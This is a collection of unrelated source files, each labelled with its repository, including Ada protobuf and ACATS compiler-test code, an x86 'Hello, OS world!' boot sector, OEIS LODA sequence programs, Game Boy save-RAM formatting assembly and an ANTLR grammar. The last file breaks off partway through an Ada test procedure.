PB_Support.Length_Delimited)); Conformance.Jspb_Encoding_Config'Write (Stream, V.Jspb_Encoding_Options.Value); end if; WS.Write_Option (9, V.Print_Unknown_Fields, False); case V.Variant.Payload is when Protobuf_Payload_Kind => WS.Write (1, V.Variant.Protobuf_Payload); when Json_Payload_Kind => WS.Write (2, V.Variant.Json_Payload); when Jspb_Payload_Kind => WS.Write (7, V.Variant.Jspb_Payload); when Text_Payload_Kind => WS.Write (8, V.Variant.Text_Payload); when Payload_Not_Set => null; end case; if WS.End_Message then Write_Conformance_Request (WS'Access, V); end if; end; end Write_Conformance_Request; function Length (Self : Conformance_Response_Vector) return Natural is begin return Self.Length; end Length; procedure Clear (Self : in out Conformance_Response_Vector) is begin Self.Length := 0; end Clear; procedure Free is new Ada.Unchecked_Deallocation (Conformance_Response_Array, Conformance_Response_Array_Access); procedure Append (Self : in out Conformance_Response_Vector; V : Conformance_Response) is Init_Length : constant Positive := Positive'Max (1, 256 / Conformance_Response'Size); begin if Self.Length = 0 then Self.Data := new Conformance_Response_Array (1 .. Init_Length); elsif Self.Length = Self.Data'Last then Self.Data := new Conformance_Response_Array' (Self.Data.all & Conformance_Response_Array'(1 .. Self.Length => <>)); end if; Self.Length := Self.Length + 1; Self.Data (Self.Length) := V; end Append; overriding procedure Adjust (Self : in out Conformance_Response_Vector) is begin if Self.Length > 0 then Self.Data := new Conformance_Response_Array'(Self.Data (1 .. Self.Length)); end if; end Adjust; overriding procedure Finalize (Self : in out Conformance_Response_Vector) is begin if Self.Data /= null then Free (Self.Data); end if; end Finalize; not overriding function Get_Conformance_Response_Variable_Reference (Self : aliased in out Conformance_Response_Vector; Index : Positive) return Conformance_Response_Variable_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Conformance_Response_Variable_Reference; not overriding function Get_Conformance_Response_Constant_Reference (Self : aliased Conformance_Response_Vector; Index : Positive) return Conformance_Response_Constant_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Conformance_Response_Constant_Reference; procedure Read_Conformance_Response (Stream : access Ada.Streams.Root_Stream_Type'Class; V : out Conformance_Response) is Key : aliased PB_Support.IO.Key; begin while PB_Support.IO.Read_Key (Stream, Key'Access) loop case Key.Field is when 1 => if V.Variant.Result /= Parse_Error_Kind then V.Variant := (Parse_Error_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Parse_Error); when 6 => if V.Variant.Result /= Serialize_Error_Kind then V.Variant := (Serialize_Error_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Serialize_Error); when 2 => if V.Variant.Result /= Runtime_Error_Kind then V.Variant := (Runtime_Error_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Runtime_Error); when 3 => if V.Variant.Result /= Protobuf_Payload_Kind then V.Variant := (Protobuf_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Protobuf_Payload); when 4 => if V.Variant.Result /= Json_Payload_Kind then V.Variant := (Json_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Json_Payload); when 5 => if V.Variant.Result /= Skipped_Kind then V.Variant := (Skipped_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Skipped); when 7 => if V.Variant.Result /= Jspb_Payload_Kind then V.Variant := (Jspb_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Jspb_Payload); when 8 => if V.Variant.Result /= Text_Payload_Kind then V.Variant := (Text_Payload_Kind, others => <>); end if; PB_Support.IO.Read (Stream, Key.Encoding, V.Variant.Text_Payload); when others => PB_Support.IO.Unknown_Field (Stream, Key.Encoding); end case; end loop; end Read_Conformance_Response; procedure Write_Conformance_Response (Stream : access Ada.Streams.Root_Stream_Type'Class; V : Conformance_Response) is begin if Stream.all not in PB_Support.Internal.Stream then declare WS : aliased PB_Support.Internal.Stream (Stream); begin Write_Conformance_Response (WS'Access, V); return; end; end if; declare WS : PB_Support.Internal.Stream renames PB_Support.Internal.Stream (Stream.all); begin WS.Start_Message; case V.Variant.Result is when Parse_Error_Kind => WS.Write (1, V.Variant.Parse_Error); when Serialize_Error_Kind => WS.Write (6, V.Variant.Serialize_Error); when Runtime_Error_Kind => WS.Write (2, V.Variant.Runtime_Error); when Protobuf_Payload_Kind => WS.Write (3, V.Variant.Protobuf_Payload); when Json_Payload_Kind => WS.Write (4, V.Variant.Json_Payload); when Skipped_Kind => WS.Write (5, V.Variant.Skipped); when Jspb_Payload_Kind => WS.Write (7, V.Variant.Jspb_Payload); when Text_Payload_Kind => WS.Write (8, V.Variant.Text_Payload); when Result_Not_Set => null; end case; if WS.End_Message then Write_Conformance_Response (WS'Access, V); end if; end; end Write_Conformance_Response; function Length (Self : Jspb_Encoding_Config_Vector) return Natural is begin return Self.Length; end Length; procedure Clear (Self : in out Jspb_Encoding_Config_Vector) is begin Self.Length := 0; end Clear; procedure Free is new Ada.Unchecked_Deallocation (Jspb_Encoding_Config_Array, Jspb_Encoding_Config_Array_Access); procedure Append (Self : in out Jspb_Encoding_Config_Vector; V : Jspb_Encoding_Config) is Init_Length : constant Positive := Positive'Max (1, 256 / Jspb_Encoding_Config'Size); begin if Self.Length = 0 then Self.Data := new Jspb_Encoding_Config_Array (1 .. Init_Length); elsif Self.Length = Self.Data'Last then Self.Data := new Jspb_Encoding_Config_Array' (Self.Data.all & Jspb_Encoding_Config_Array'(1 .. Self.Length => <>)); end if; Self.Length := Self.Length + 1; Self.Data (Self.Length) := V; end Append; overriding procedure Adjust (Self : in out Jspb_Encoding_Config_Vector) is begin if Self.Length > 0 then Self.Data := new Jspb_Encoding_Config_Array'(Self.Data (1 .. Self.Length)); end if; end Adjust; overriding procedure Finalize (Self : in out Jspb_Encoding_Config_Vector) is begin if Self.Data /= null then Free (Self.Data); end if; end Finalize; not overriding function Get_Jspb_Encoding_Config_Variable_Reference (Self : aliased in out Jspb_Encoding_Config_Vector; Index : Positive) return Jspb_Encoding_Config_Variable_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Jspb_Encoding_Config_Variable_Reference; not overriding function Get_Jspb_Encoding_Config_Constant_Reference (Self : aliased Jspb_Encoding_Config_Vector; Index : Positive) return Jspb_Encoding_Config_Constant_Reference is begin return (Element => Self.Data (Index)'Access); end Get_Jspb_Encoding_Config_Constant_Reference; procedure Read_Jspb_Encoding_Config (Stream : access Ada.Streams.Root_Stream_Type'Class; V : out Jspb_Encoding_Config) is Key : aliased PB_Support.IO.Key; begin while PB_Support.IO.Read_Key (Stream, Key'Access) loop case Key.Field is when 1 => PB_Support.IO.Read (Stream, Key.Encoding, V.Use_Jspb_Array_Any_Format); when others => PB_Support.IO.Unknown_Field (Stream, Key.Encoding); end case; end loop; end Read_Jspb_Encoding_Config; procedure Write_Jspb_Encoding_Config (Stream : access Ada.Streams.Root_Stream_Type'Class; V : Jspb_Encoding_Config) is begin if Stream.all not in PB_Support.Internal.Stream then declare WS : aliased PB_Support.Internal.Stream (Stream); begin Write_Jspb_Encoding_Config (WS'Access, V); return; end; end if; declare WS : PB_Support.Internal.Stream renames PB_Support.Internal.Stream (Stream.all); begin WS.Start_Message; WS.Write_Option (1, V.Use_Jspb_Array_Any_Format, False); if WS.End_Message then Write_Jspb_Encoding_Config (WS'Access, V); end if; end; end Write_Jspb_Encoding_Config; end Conformance.Conformance;
orange's xxx/boot.asm
bfzq/Leaf
0
94048
<reponame>bfzq/Leaf org 07c00h mov ax, cs mov ds, ax mov es, ax call DispStr jmp $ DispStr: mov ax, BootMessage mov bp, ax mov cx, 16 mov ax, 01301h mov bx, 000ch mov dl, 0 int 10h ret BootMessage: db "Hello, OS world!" times 510-($-$$) db 0 dw 0xaa55
x86/EasyMoveMng.asm
lantonov/asm
150
13524
<reponame>lantonov/asm EasyMoveMng_Clear: lea rcx, [easyMoveMng] xor eax, eax mov qword[rcx+EasyMoveMng.pv+4*0], rax mov qword[rcx+EasyMoveMng.pv+4*2], rax mov qword[rcx+EasyMoveMng.expectedPosKey], rax mov dword[rcx+EasyMoveMng.stableCnt], eax ret EasyMoveMng_Get: ; in: rcx key xor eax, eax cmp rcx, qword[easyMoveMng.expectedPosKey] cmove eax, dword[easyMoveMng.pv+4*2] ret EasyMoveMng_Update: ; in: rbp position ; rbx state ; rcx address of RootMove struct push rsi lea rsi, [easyMoveMng] mov edx, dword[rsi+EasyMoveMng.stableCnt] xor r8d, r8d add edx, 1 mov eax, dword[rcx+RootMove.pv+4*2] cmp eax, dword[rsi+EasyMoveMng.pv+4*2] cmovne edx, r8d mov dword[rsi+EasyMoveMng.stableCnt], edx mov rax, qword[rcx+RootMove.pv+4*0] cmp rax, qword[rsi+EasyMoveMng.pv+4*0] jne @f mov ecx, dword[rcx+RootMove.pv+4*2] cmp ecx, dword[rsi+EasyMoveMng.pv+4*2] je .done @@: mov qword[rsi+EasyMoveMng.pv+4*0], rax mov dword[rsi+EasyMoveMng.pv+4*2], ecx call SetCheckInfo mov ecx, dword[rsi+EasyMoveMng.pv+4*0] call Move_GivesCheck mov ecx, dword[rsi+EasyMoveMng.pv+4*0] mov byte[rbx+State.givesCheck], al call Move_Do__EasyMoveMng call SetCheckInfo mov ecx, dword[rsi+EasyMoveMng.pv+4*1] call Move_GivesCheck mov ecx, dword[rsi+EasyMoveMng.pv+4*1] mov byte[rbx+State.givesCheck], al call Move_Do__EasyMoveMng mov rax, qword[rbx+State.key] mov qword[rsi+EasyMoveMng.expectedPosKey], rax mov ecx, dword[rsi+EasyMoveMng.pv+4*1] call Move_Undo mov ecx, dword[rsi+EasyMoveMng.pv+4*0] call Move_Undo .done: pop rsi ret
programs/oeis/065/A065364.asm
neoneye/loda
22
162327
<filename>programs/oeis/065/A065364.asm ; A065364: Alternating sum of balanced ternary digits in n. Replace 3^k with (-1)^k in balanced ternary expansion of n. ; 1,-2,-1,0,1,2,3,0,1,2,-1,0,1,-2,-1,0,-3,-2,-1,-4,-3,-2,-1,0,1,-2,-1,0,-3,-2,-1,0,1,2,-1,0,1,-2,-1,0,1,2,3,0,1,2,-1,0,1,2,3,4,1,2,3,0,1,2,3,4,5,2,3,4,1,2,3,0,1,2,-1,0,1,-2,-1,0,1,2,3,0,1,2,-1,0,1,2,3,4,1,2,3,0,1,2,-1,0,1,-2,-1,0 mul $0,2 add $0,1 mov $2,$0 lpb $0 add $1,1 lpb $0 add $1,1 add $2,2 mov $3,$4 add $3,$2 lpb $3 sub $1,8 dif $3,9 trn $4,8 lpe sub $0,1 lpe lpe div $1,2 mov $0,$1
oeis/337/A337132.asm
neoneye/loda-programs
11
162640
; A337132: a(n) is the number of squares at distance n from the central square of a Vicsek fractal. ; Submitted by <NAME> ; 1,4,4,4,12,4,4,12,4,4,12,12,12,36,4,4,12,4,4,12,12,12,36,4,4,12,4,4,12,12,12,36,12,12,36,12,12,36,36,36,108,4,4,12,4,4,12,12,12,36,4,4,12,4,4,12,12,12,36,12,12,36,12,12,36,36,36,108,4,4,12,4,4,12,12,12,36,4,4,12,4,4,12,12,12,36,12,12,36,12,12,36,36,36,108,12,12,36,12,12 seq $0,134024 ; Number of positive trits in balanced ternary representation of n. seq $0,170637 ; Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^49 = I.
oeis/004/A004695.asm
neoneye/loda-programs
11
7652
<filename>oeis/004/A004695.asm ; A004695: a(n) = floor(Fibonacci(n)/2). ; 0,0,0,1,1,2,4,6,10,17,27,44,72,116,188,305,493,798,1292,2090,3382,5473,8855,14328,23184,37512,60696,98209,158905,257114,416020,673134,1089154,1762289,2851443,4613732,7465176,12078908,19544084,31622993,51167077,82790070,133957148,216747218,350704366,567451585,918155951,1485607536,2403763488,3889371024,6293134512,10182505537,16475640049,26658145586,43133785636,69791931222,112925716858,182717648081,295643364939,478361013020,774004377960,1252365390980,2026369768940,3278735159921,5305104928861 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. div $0,2
programs/oeis/268/A268586.asm
jmorken/loda
1
179153
<gh_stars>1-10 ; A268586: Expansion of (x^3*(3*x - 2))/(2*x - 1)^3. ; 0,0,0,2,9,30,88,240,624,1568,3840,9216,21760,50688,116736,266240,602112,1351680,3014656,6684672,14745600,32374784,70778880,154140672,334495744,723517440,1560281088,3355443200,7197425664,15401484288,32883343360,70061654016,148981678080,316216967168,670014898176,1417339207680,2993592205312,6313601925120,13297218748416,27968827031552,58755152609280,123282741264384,258385232527360,540959720865792,1131397464981504,2363949999718400,4934608185458688 mov $2,$0 mov $8,$2 lpb $2 trn $0,2 mov $4,$8 mov $3,$4 mul $8,$4 lpb $4 mul $0,2 mov $1,$3 sub $1,2 add $8,$0 sub $8,4 mov $0,$8 sub $4,$4 lpe clr $4,$8 add $1,$0 mov $0,1 mul $1,2 sub $2,1 lpe div $1,32
pkgs/tools/yasm/src/modules/arch/x86/tests/sse5-cc.asm
manggoguy/parsec-modified
64
654
[bits 16] comeqpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 00 comltpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 01 comungepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 01 comlepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 02 comungtpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 02 comunordpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 03 comnepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 04 comneqpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 04 comnltpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 05 comugepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 05 comnlepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 06 comugtpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 06 comordpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 07 comueqpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 08 comultpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 09 comngepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 09 comulepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0A comngtpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0A comfalsepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0B comunepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0C comuneqpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0C comunltpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0D comgepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0D comunlepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0E comgtpd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0E comtruepd xmm1, xmm2, xmm3 ; 0F 25 2D 323 10 0F pcomltb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 00 pcomleb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 01 pcomgtb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 02 pcomgeb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 03 pcomeqb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 04 pcomneqb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 05 pcomneb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 05 pcomfalseb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 06 pcomtrueb xmm1, xmm2, xmm3 ; 0F 25 4C 323 10 07 pcomltub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 00 pcomleub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 01 pcomgtub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 02 pcomgeub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 03 pcomequb xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 04 pcomnequb xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 05 pcomneub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 05 pcomfalseub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 06 pcomtrueub xmm1, xmm2, xmm3 ; 0F 25 6C 323 10 07
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___schar2fs.asm
jpoikela/z88dk
0
247587
SECTION code_fp_math32 PUBLIC ___schar2fs EXTERN cm32_sdcc___schar2fs defc ___schar2fs = cm32_sdcc___schar2fs
src/main/antlr/error/Group.g4
courses-at-nju-by-hfwei/compilers-antlr
7
291
grammar Group; // [i^2] // []: following set {'^', ']'} group : '[' expr ']' | '(' expr ')' ; expr : atom '^' INT ; atom : ID | INT ; INT : [0-9]+ ; ID : [a-zA-Z]+ ; WS : [ \t\r\n]+ -> skip ;
oeis/142/A142981.asm
neoneye/loda-programs
11
94374
<reponame>neoneye/loda-programs ; A142981: a(1) = 1, a(2) = 7, a(n+2) = 7*a(n+1) + (n+1)^2*a(n). ; Submitted by <NAME> ; 1,7,53,434,3886,38052,406260,4708368,58959216,794092320,11454567840,176267145600,2883327788160,49972442123520,914939341344000,17648374867200000,357763095454464000,7604722004802048000,169148296960860672000,3929342722459564032000,95164717841561217024000,2398993165495596257280000,62852675593784802840576000,1709036113703664039985152000,48166393937945694716067840000,1405312328630409888003194880000,42397668602464158844084224000000,1321256367788817920262918635520000,42488566758853625975602462064640000 mov $3,1 lpb $0 mov $2,$3 mul $3,7 add $3,$1 mov $1,$0 mul $2,$0 sub $0,1 mul $1,$2 lpe mov $0,$3
old/Mathematical/Logic.agda
Lolirofle/stuff-in-agda
6
14204
<filename>old/Mathematical/Logic.agda module Logic{ℓ} where -- open import Logic -- open import Logic.Classical -- Everything is computably decidable -- instance postulate classical : ∀{ℓ}{P : Stmt{ℓ}} → Classical(P) Stmt : _ Stmt = Set(ℓ) -- Prop(ℓ) open import Agda.Primitive public renaming (Setω to Stmtω)
src/Core/MBC/MBC.asm
stoneface86/GameboyBoilerplateProj
25
179163
include "./src/Includes.inc" section "MBC Engine", rom0 ; SRAM Signature of being formatted correctly ; Cafe Babe F1ee Decaf Feed ; (Not the Decaf 。゜゜(´O`) ゜゜。 ...Runs Away) SRAMSig:: db $CA,$FE,$BA,$BE,$F1,$EE,$DE,$CF,$FE,$ED SRAMSigEnd:: ; This game uses Memory Bank Controller 5 ; 512 ROM Banks (8MB) ; 16 RAM Banks (128KB) ; Formats the RAM if it needs formatting ; A=TRUE if formatting was needed ; A=FALSE if not MBCRamAutoFormat:: ; Format Non-Persistent Data Banks call MBCRamNPFormat ; Determine if persistent data needs formatting or not mbc_select "ram", 0 ; Switch to RAM 0 verify SRAMSig, sSignature, SRAMSigEnd - SRAMSig ; Very signature matches cp TRUE jr nz, MBCRamFormat ; Persistent RAM Banks don't need formatting ld a, FALSE ret ; Format Non-Persistent Data banks ; Non Persistent data banks are an extension of WRAM ; They don't persist between power-cycles MBCRamNPFormat:: mbc_select "ram", 1 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank1No ld a, 1 ld [hl], a ret ; Format Ram without checking if it needs formatting MBCRamFormat:: mbc_select "ram", 0 ; Remember this is also an external function fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank0No ld a, 0 ld [hl], a ; Ram Bank #1 is a non-persistent data bank mbc_select "ram", 2 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank2No ld a, 2 ld [hl], a mbc_select "ram", 3 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank3No ld a, 3 ld [hl], a mbc_select "ram", 4 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank4No ld a, 4 ld [hl], a mbc_select "ram", 5 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank5No ld a, 5 ld [hl], a mbc_select "ram", 6 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank6No ld a, 6 ld [hl], a mbc_select "ram", 7 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank7No ld a, 7 ld [hl], a mbc_select "ram", 8 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank8No ld a, 8 ld [hl], a mbc_select "ram", 9 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank9No ld a, 9 ld [hl], a mbc_select "ram", 10 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank10No ld a, 10 ld [hl], a mbc_select "ram", 11 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank11No ld a, 11 ld [hl], a mbc_select "ram", 12 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank12No ld a, 12 ld [hl], a mbc_select "ram", 13 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank13No ld a, 13 ld [hl], a mbc_select "ram", 14 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank14No ld a, 14 ld [hl], a mbc_select "ram", 15 fill _SRAM, _SRAM_SIZE, 0 ld hl, sBank15No ld a, 15 ld [hl], a ; Formatted 128 KB of RAM ; Now initial setup the RAM mbc_select "ram", 0 copy SRAMSig, sSignature, SRAMSigEnd - SRAMSig ; Copy signature call MBCUpdateRamVersion ; Update RAM Version ; This code adds the ram bank number to the first byte of each ; ram bank whcih is used in a number of code points as an easy ; and efficient optimization. The same is also done for the ROM ld a, 1 ret MBCUpdateRamVersion:: mbc_select "ram", 0 ld a, SRAMVersionU ld de, sVersion ld [de], a inc de ld a, SRAMVersionL ld [de], a ; Update SRAM version ret ; Initial checks, procedures, and whatnot MBCRunOnce:: call MBCRamAutoFormat cp TRUE jr z, .formatted ld hl, wSRAMForm ld a, FALSE ld [hl], a ; Was not formatted jr .continue .formatted ld hl, wSRAMForm ld a, TRUE ld [hl], a ; Was formatted .continue call MBCUpdateRamVersion ; Update version on MBC RAM ret
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cc/cc3605a.ada
best08618/asylo
7
974
-- CC3605A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT SOME DIFFERENCES BETWEEN THE FORMAL AND THE -- ACTUAL SUBPROGRAMS DO NOT INVALIDATE A MATCH. -- 1) CHECK DIFFERENT PARAMETER NAMES. -- 2) CHECK DIFFERENT PARAMETER CONSTRAINTS. -- 3) CHECK ONE PARAMETER CONSTRAINED AND THE OTHER -- UNCONSTRAINED (WITH ARRAY, RECORD, ACCESS, AND -- PRIVATE TYPES). -- 4) CHECK PRESENCE OR ABSENCE OF AN EXPLICIT "IN" MODE -- INDICATOR. -- 5) DIFFERENT TYPE MARKS USED TO SPECIFY THE TYPE OF -- PARAMETERS. -- HISTORY: -- LDC 10/04/88 CREATED ORIGINAL TEST. PACKAGE CC3605A_PACK IS SUBTYPE INT IS INTEGER RANGE -100 .. 100; TYPE PRI_TYPE (SIZE : INT) IS PRIVATE; SUBTYPE PRI_CONST IS PRI_TYPE (2); PRIVATE TYPE ARR_TYPE IS ARRAY (INTEGER RANGE <>) OF BOOLEAN; TYPE PRI_TYPE (SIZE : INT) IS RECORD SUB_A : ARR_TYPE (1 .. SIZE); END RECORD; END CC3605A_PACK; WITH REPORT; USE REPORT; WITH CC3605A_PACK; USE CC3605A_PACK; PROCEDURE CC3605A IS SUBTYPE ZERO_TO_TEN IS INTEGER RANGE IDENT_INT (0) .. IDENT_INT (10); SUBTYPE ONE_TO_FIVE IS INTEGER RANGE IDENT_INT (1) .. IDENT_INT (5); SUBPRG_ACT : BOOLEAN := FALSE; BEGIN TEST ("CC3605A", "CHECK THAT SOME DIFFERENCES BETWEEN THE " & "FORMAL AND THE ACTUAL PARAMETERS DO NOT " & "INVALIDATE A MATCH"); ---------------------------------------------------------------------- -- DIFFERENT PARAMETER NAMES ---------------------------------------------------------------------- DECLARE PROCEDURE ACT_PROC (DIFF_NAME_PARM : ONE_TO_FIVE) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : ONE_TO_FIVE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (ONE_TO_FIVE'FIRST); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("DIFFERENT PARAMETER NAMES MADE MATCH INVALID"); END IF; END; ---------------------------------------------------------------------- -- DIFFERENT PARAMETER CONSTRAINTS ---------------------------------------------------------------------- DECLARE PROCEDURE ACT_PROC (PARM : ONE_TO_FIVE) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : ZERO_TO_TEN); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (ONE_TO_FIVE'FIRST); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("DIFFERENT PARAMETER CONSTRAINTS MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- ONE PARAMETER CONSTRAINED (ARRAY) ---------------------------------------------------------------------- DECLARE TYPE ARR_TYPE IS ARRAY (INTEGER RANGE <>) OF BOOLEAN; SUBTYPE ARR_CONST IS ARR_TYPE (ONE_TO_FIVE'FIRST .. ONE_TO_FIVE'LAST); PASSED_PARM : ARR_CONST := (OTHERS => TRUE); PROCEDURE ACT_PROC (PARM : ARR_CONST) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : ARR_TYPE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (PASSED_PARM); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("ONE ARRAY PARAMETER CONSTRAINED MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- ONE PARAMETER CONSTRAINED (RECORDS) ---------------------------------------------------------------------- DECLARE TYPE REC_TYPE (BOL : BOOLEAN) IS RECORD SUB_A : INTEGER; CASE BOL IS WHEN TRUE => DSCR_A : INTEGER; WHEN FALSE => DSCR_B : BOOLEAN; END CASE; END RECORD; SUBTYPE REC_CONST IS REC_TYPE (TRUE); PASSED_PARM : REC_CONST := (TRUE, 1, 2); PROCEDURE ACT_PROC (PARM : REC_CONST) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : REC_TYPE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (PASSED_PARM); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("ONE RECORD PARAMETER CONSTRAINED MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- ONE PARAMETER CONSTRAINED (ACCESS) ---------------------------------------------------------------------- DECLARE TYPE ARR_TYPE IS ARRAY (INTEGER RANGE <>) OF BOOLEAN; SUBTYPE ARR_CONST IS ARR_TYPE (ONE_TO_FIVE'FIRST .. ONE_TO_FIVE'LAST); TYPE ARR_ACC_TYPE IS ACCESS ARR_TYPE; SUBTYPE ARR_ACC_CONST IS ARR_ACC_TYPE (1 .. 3); PASSED_PARM : ARR_ACC_TYPE := NULL; PROCEDURE ACT_PROC (PARM : ARR_ACC_CONST) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : ARR_ACC_TYPE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (PASSED_PARM); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("ONE ACCESS PARAMETER CONSTRAINED MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- ONE PARAMETER CONSTRAINED (PRIVATE) ---------------------------------------------------------------------- DECLARE PASSED_PARM : PRI_CONST; PROCEDURE ACT_PROC (PARM : PRI_CONST) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : PRI_TYPE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (PASSED_PARM); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT 